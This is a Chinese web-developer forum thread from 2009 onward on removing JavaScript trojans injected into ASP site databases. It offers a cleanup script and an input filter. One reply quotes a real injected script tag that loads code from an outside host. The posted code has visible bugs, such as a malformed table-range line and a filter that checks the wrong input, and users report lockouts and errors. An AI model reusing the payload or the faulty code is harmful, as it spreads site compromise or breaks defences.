收藏本站腾讯微博新浪微博

经典论坛

 找回密码
 注册

QQ登录

只需一步,快速开始

蓝色理想 最新研发动态 网站开通淘帖功能 - 蓝色理想插件 论坛内容导读一页看论坛 - 给官方提建议

论坛活动及任务 地图和邮件任务 请多用悬赏提问 热夏来袭,选一款蓝色理想的个性T恤吧!

手机上论坛,使用APP获得更好体验 急需前端攻城狮,获得内部推荐机会 论坛开通淘帖功能,收藏终于可以分类了!

搜索
查看: 18528|回复: 27

[asp] 数据库被挂马的ASP处理方法

  [复制链接]
发表于 2009-3-2 14:44:52 | 显示全部楼层 |阅读模式
数据库被挂马我相信很多人都碰到过。在这里,我讲下我处理的方法。
第一步:为现有数据库做好备份。
第二步:
执行如下ASP文件,这样就可以去掉数据库当中的JS木马:
注:conn.asp自己去写了。

  1. '这里放入JS木马内容:请记得改为自己数据库中的JS木马内容。
  2. <!--#include file="conn.asp"-->
  3. <%
  4. Server.ScriptTimeOut=180
  5. Set rstSchema = conn.OpenSchema(20)
  6. k=1
  7. Do Until rstSchema.EOF '遍历数据库表
  8.         If rstSchema("TABLE_TYPE")="TABLE" Then
  9.                 response.write K&".<font color=red><b>"&rstSchema("TABLE_NAME") & "</b></font>:" '显示表名
  10.                 Set rs=Server.CreateObject("ADODB.Recordset")
  11.                 sql="select * from [" & rstSchema("TABLE_NAME")&"]"
  12.                 rs.open sql,conn,1,3
  13.                 For i=0 to rs.fields.count-1 '遍历表中字段
  14.                    If int(rs(i).Type)=129 or int(rs(i).Type)=130 or int(rs(i).Type)=200 or int(rs(i).Type)=201 or int(rs(i).Type)=202 or int(rs(i).Type)=203 Then'只处理字段类型为字符型的字段
  15.                         conn.execute("update ["&rstSchema("TABLE_NAME")&"] set "&rs(i).name&" =replace(cast("&rs(i).name&" as varchar(8000)),'这里放入JS木马内容','')")
  16.             response.write rs(i).name &" "&rs(i).Type &" "'显示执行过的字段名。
  17.                   End If
  18.                 Next
  19.                 response.write "<br>"
  20.         End If
  21.         rstSchema.MoveNext
  22.         k=k+1
  23. Loop
  24. response.Write "执行成功"
  25. %>
复制代码


如果数据库表很多的话,上面的遍历数据库结构未执行完就被IIS给停止了。在这时候可以在

  1. If rstSchema("TABLE_TYPE")="TABLE" Then
复制代码

当中适当加入k值的范围,如:

  1. If rstSchema("TABLE_TYPE")="TABLE" k>10 and k<20 Then
复制代码

这样的话就一次只操作9个表。

第三步:
根据数据库JS注入的特性(会包括<script、</script>和http://这样的字符),
在conn.asp里面放入如下代码:


  1. Function Cheack_Sqljs()'防止数据库外链JS注入:true为发现外链JS注入。
  2.         Dim F_Post,F_Get
  3.         Cheack_Sqljs=False
  4.         If Request.Form<>"" Then'表单提交时的检测
  5.                 For Each F_Post In Request.Form
  6.                         If (Instr(LCase(Request.Form(F_Post)),"<script")<>0 or Instr(LCase(Request.Form(F_Post)),"</script>")<>0) and Instr(LCase(Request.Form(F_Post)),"http://")<>0 Then
  7.                                 Cheack_Sqljs=True
  8.                                 Exit For
  9.                         End If
  10.                 Next
  11.         End If
  12.         If Request.QueryString<>"" Then'QueryString提交时的检测
  13.                 For Each F_Get In Request.QueryString
  14.                         If (Instr(LCase(Request.Form(F_Get)),"<script")<>0 or Instr(LCase(Request.Form(F_Get)),"</script>")<>0) and Instr(LCase(Request.Form(F_Get)),"http://")<>0 Then
  15.                                 Cheack_Sqljs=True
  16.                                 Exit For
  17.                         End If
  18.                 Next
  19.         End If
  20. End Function

  21. Function CheckDataFrom()'检查提交数据来源:True为数据从站外提交过来的
  22.         CheckDataFrom=True
  23.         server_v1=Cstr(Request.ServerVariables("HTTP_REFERER"))
  24.         server_v2=Cstr(Request.ServerVariables("SERVER_NAME"))
  25.         if mid(server_v1,8,len(server_v2))<>server_v2 then
  26.                 CheckDataFrom=False
  27.         end if
  28. End Function
  29. If Cheack_Sqljs or CheckDataFrom Then
  30.    Response.Write "<Script Language=JavaScript>alert('禁止执行,非法操作。');</Script>"
  31.    Response.End()
  32. End If
复制代码

[[i] 本帖最后由 红心男孩 于 2009-3-2 14:56 编辑 ]

评分

参与人数 1威望 +1 收起 理由
蓝色 + 1 很给力!

查看全部评分

发表于 2009-3-4 12:46:48 | 显示全部楼层
的确碰到过这情况,清起来很费劲,这代码不错,试试去,谢谢楼主
回复 支持 反对

使用道具 举报

发表于 2009-3-4 13:13:28 | 显示全部楼层
感觉就是以一个更麻烦的方法去解决一个本来就很麻烦的事情。
回复 支持 反对

使用道具 举报

 楼主| 发表于 2009-3-4 14:21:49 | 显示全部楼层
楼上有更好的办法?可以拿出来分享一下。
回复 支持 反对

使用道具 举报

发表于 2009-3-20 18:05:05 | 显示全部楼层
原帖由 [i]红心男孩 于 2009-3-2 14:44 发表
数据库被挂马我相信很多人都碰到过。在这里,我讲下我处理的方法。
第一步:为现有数据库做好备份。
第二步:
执行如下ASP文件,这样就可以去掉数据库当中的JS木马:
注:conn.asp自己去写了。

'这里放入JS木 ...



楼主我用了上面的防注入,现在自己的后台也登不进去了,提示"禁止执行,非法操作",有办法可以解决一下吗?谢谢.
回复 支持 反对

使用道具 举报

发表于 2009-3-20 19:37:45 | 显示全部楼层
没看懂!
回复 支持 反对

使用道具 举报

发表于 2009-3-21 11:18:26 | 显示全部楼层
我也遇到过类似的问题,一般都是直接重新导入数据库。清理太麻烦了。
回复 支持 反对

使用道具 举报

发表于 2009-4-13 15:32:28 | 显示全部楼层

各位有好的防注入方法吗

我在网上测试了很多防注入方法,又被加了<script src=http://3b3.org/c.js></script>
清除了N次又被注入了N次.

各位有好的防注入方法吗?
回复 支持 反对

使用道具 举报

发表于 2009-4-14 13:34:42 | 显示全部楼层
运用楼主的方法。去掉数据库当中的JS木马:页面提示错误类型:
Microsoft OLE DB Provider for SQL Server (0x80040E14)
在关键字 'user' 附近有语法错误。---15行。本人没有修改其它,只是改(这里放入JS木马内容)。。请问这是问题呢??
回复 支持 反对

使用道具 举报

发表于 2011-10-23 17:08:46 | 显示全部楼层
  谢谢楼主
回复 支持 反对

使用道具 举报

发表于 2011-10-24 11:27:25 | 显示全部楼层
木马注入后,先要找到漏洞,把注入点堵上,否则再怎么清理,第二天,又会有新的木马注入。
另外。要仔细检查一下,通用代码并不是所有都通用的。
回复 支持 反对

使用道具 举报

发表于 2011-10-25 12:08:37 | 显示全部楼层
还没有遇到数据库木马,最多是网页被挂js,直接删除掉那段就可以了啊!
回复 支持 反对

使用道具 举报

发表于 2011-10-25 12:13:03 | 显示全部楼层
asp的网站有些很容易被挂马的。谢谢分享。
回复 支持 反对

使用道具 举报

发表于 2011-10-26 11:32:43 | 显示全部楼层
对啊 ASP很容易给挂马 代客户维护的有几个网站是ASP 这样批量很省事 谢谢楼主
回复 支持 反对

使用道具 举报

发表于 2011-12-15 13:46:55 | 显示全部楼层
这段代码不错,可以收藏起来先
回复 支持 反对

使用道具 举报

发表于 2012-1-4 10:08:35 | 显示全部楼层
蓝色 发表于 2011-10-24 11:27
木马注入后,先要找到漏洞,把注入点堵上,否则再怎么清理,第二天,又会有新的木马注入。
另外。要仔细检 ...

这里不太明白,“堵上注入點”的意思是不让会员发表代码内容吗?

如果允许会员,甚至游客发表HTML内容,那应该怎样才能堵上JS木马注入点呢,望您指点一下,先谢谢了!
回复 支持 反对

使用道具 举报

发表于 2012-1-9 11:39:29 | 显示全部楼层
asp网站被挂马多数从一些 使用别人的编辑器导致上传漏洞 或者 注入漏洞。
还得治本 避免这些漏洞 就可以减少不少麻烦了
回复 支持 反对

使用道具 举报

发表于 2012-5-3 15:40:29 | 显示全部楼层
呵呵 管理思维才是根本。其实你做好网站架构,最打限度的配合服务器安全管理,从业务逻辑上不给任何漏洞机会 就啥都没有了。这样防堵很难搞定的。
回复 支持 反对

使用道具 举报

发表于 2012-5-25 09:39:29 | 显示全部楼层
我感觉你们的全是扯蛋 数据库内被挂马什么办法都是白扯。。。

这就如同你在一个EXE文件末尾加入个代码。然后再删除这个代码。你认为EXE还能执行吗?一个道理。。。
回复 支持 反对

使用道具 举报

发表于 2012-5-26 22:38:10 | 显示全部楼层
到数据库里面去“杀马”有什么意义呢,

我个人觉得是费时费力,不需要做的事情。

不管数据库里面有多少“千军万马”,把住输出到页面的关口(进行JS过滤)

不就全成了“死马”了吗?
回复 支持 反对

使用道具 举报

发表于 2012-6-4 12:35:54 | 显示全部楼层
感谢分享 回头自己试试
回复 支持 反对

使用道具 举报

发表于 2012-9-12 16:12:21 | 显示全部楼层
嗯~有段时间JS数据库挂马现象很严重~主要集中在MSSQL~相反ACC还没有事~
回复 支持 反对

使用道具 举报

发表于 2012-10-26 15:20:20 | 显示全部楼层
防止sql注入
回复 支持 反对

使用道具 举报

发表于 2012-12-11 09:43:27 | 显示全部楼层
不错,现在我的站每天都被各种木马威胁 着,着实头痛 。
回复 支持 反对

使用道具 举报

发表于 2012-12-11 10:46:25 | 显示全部楼层
andy80129 发表于 2012-9-12 16:12
嗯~有段时间JS数据库挂马现象很严重~主要集中在MSSQL~相反ACC还没有事~

我个人觉得,能否注入主要取决于ASP代码是否严谨、安全过滤是否严密,与MSSQL还是ACCESS关系不大
回复 支持 反对

使用道具 举报

发表于 2014-4-30 13:56:14 | 显示全部楼层
虽然是老帖了,还是留个脚印
回复 支持 反对

使用道具 举报

发表于 2015-4-9 08:56:24 | 显示全部楼层
好东西,还是留个脚印
回复 支持 反对

使用道具 举报

发表于 2015-4-22 14:00:57 | 显示全部楼层
好好好,虽然看不懂,但是还是觉得很厉害。先顶一个
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

QQ|小黑屋|Archiver|手机版|blueidea.com ( 湘ICP备12001430号 )  

GMT+8, 2020-9-19 05:06 , Processed in 0.141602 second(s), 9 queries , Gzip On, Memcache On.

Powered by Discuz! X3.2 Licensed

© 2001-2013 Comsenz Inc.

快速回复 返回顶部 返回列表